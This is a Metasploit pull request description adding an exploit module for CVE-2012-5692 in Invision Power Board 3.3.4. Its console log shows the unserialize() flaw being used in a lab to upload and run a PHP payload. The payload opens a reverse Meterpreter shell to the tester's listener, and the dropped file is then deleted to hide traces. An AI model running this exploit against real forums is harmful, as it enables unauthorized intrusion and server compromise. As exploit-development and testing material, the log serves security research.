rapid7/metasploit-framework — pull request #1052 by jvazquez-r7 (2012-11-10 10:37:34+00:00)
Title: added module for CVE-2012-5692

Tested on Invision PBoard 3.3.4 on Ubuntu 10.04:

msf exploit(invision_pboard_unserialize_exec) > show options

Module options (exploit/unix/webapp/invision_pboard_unserialize_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST 192.168.1.151 yes The target address
RPORT 80 yes The target port
TARGETURI /forums/ yes The base path to the web application
VHOST no HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.129 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Invision IP.Board 3.3.4

msf exploit(invision_pboard_unserialize_exec) > exploit

[*] Started reverse handler on 192.168.1.129:4444
[*] 192.168.1.151:80 - Exploiting the unserialize() to upload PHP code
[*] 192.168.1.151:80 - Executing the payload KmtZ.php
[*] Sending stage (39217 bytes) to 192.168.1.151
[*] Meterpreter session 4 opened (192.168.1.129:4444 -> 192.168.1.151:60584) at 2012-11-10 11:33:12 +0100
[!] 192.168.1.151:80 - Deleting KmtZ.php
[+] 192.168.1.151:80 - KmtZ.php removed to stay ninja

^C[-] Exploit failed: Interrupt

meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer : ubuntu
OS : Linux ubuntu 2.6.32-38-generic #83-Ubuntu SMP Wed Jan 4 11:13:04 UTC 2012 i686
Meterpreter : php/php
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.151 - Meterpreter session 4 closed. Reason: User exit